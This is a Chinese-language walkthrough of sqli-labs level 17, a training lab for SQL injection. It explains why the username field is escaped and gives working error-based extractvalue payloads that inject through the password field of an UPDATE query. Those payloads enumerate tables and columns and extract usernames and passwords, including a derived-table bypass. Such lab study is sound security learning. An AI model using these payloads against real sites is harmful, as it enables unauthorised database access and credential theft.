Sqlilabs-17

来到了 17 关,从这关开始刚学习需要借助源码来配合学习,本关学习内容是 update 内容

Sqlilabs-17

从源码中可以看到,开发者的意图流程是:

Sqlilabs-17

首先查询用户名相匹配的 users 表中 数据,所以这里如果需要注入首先得有一个在数据库中已经有了的用户名,若是现实挖掘漏洞过程中这,如果可以,可以先自己先注册一个,这下在数据库中就躺着了一个可利用的用户名和密码…,没有的话可以盲猜,如一般都有 admin guest等等可以直接利用的…

继续往下看源码,你会发现 username 身上加了个check_input,转到 check_input 该函数看看:

Sqlilabs-17

可以看到有三个不为人知的东西在上面…
Sqlilabs-17
这些都是个什么东西捏( ̄▽ ̄)*?
首先这里有个姿势需要 get:就是默认地 PHP 会对所有的 GET/POST/COOKIE 数据自动运行 addslashes() 函数,这是个什么东西呢?
addslashes()函数:一个会在预定义字符之前添加反斜杠的函数,即会帮助转义

预定义字符有:

  • 单引号(’)
  • 双引号(")
  • 反斜杠()
  • NULL

所以在平时过程中,咱就不用手动加转义字符了,但怕有些人进行了双层转义,所以可以使用 get_magic_quotes_gpc() 来进行检测,其参数为 string,string类型,内容为规定要转义的字符串,该函数返回内容为已转义的字符串,该函数适用于 PHP 版本 4.0+

第三个要介绍的就是 stripslashes() 函数,该函数可以删除 addslashes() 函数添加的反斜杠

最后就是 mysql_real_escape_string() 函数:
它将转义 SQL 语句中使用的字符串中的特殊字符

check_input 就对 username 做了各种转义字符的处理,使得我们再 username payload 注入毫无效果,所以无法像前几关那样对 username 直接下手,既然无法下手,那就转场到 password

Sqlilabs-17

可以看到对 password 进行了更新操作,这其实就是一个改密码的功能嘛,我们在 username 输入正确的用户名,password 就是用来该密码的…
输入前:admin 密码为 admin:

Sqlilabs-17

输入 123 后:

Sqlilabs-17

所以第 17 关本身提供的就是修改密码的功能,上面初步介绍了下开发流程,下面开始制作 payload

–查表
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) and '1&submit=submit

–查列
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e)) and '1&submit=submit

–查用户名
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e)) and '1&submit=submit
Sqlilabs-17
报错,因为后台对 users 表做了限制,不给你查名称是 users 的,那咱们就给它换个名字,加件衣服

–绕过
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select username from (select username from users)a limit 0,1),0x7e)) and '1&submit=submit

–查密码
uname=admin&passwd=111' and extractvalue(1,concat(0x7e,(select password from (select password from users)a limit 0,1),0x7e)) and '1&submit=submit

????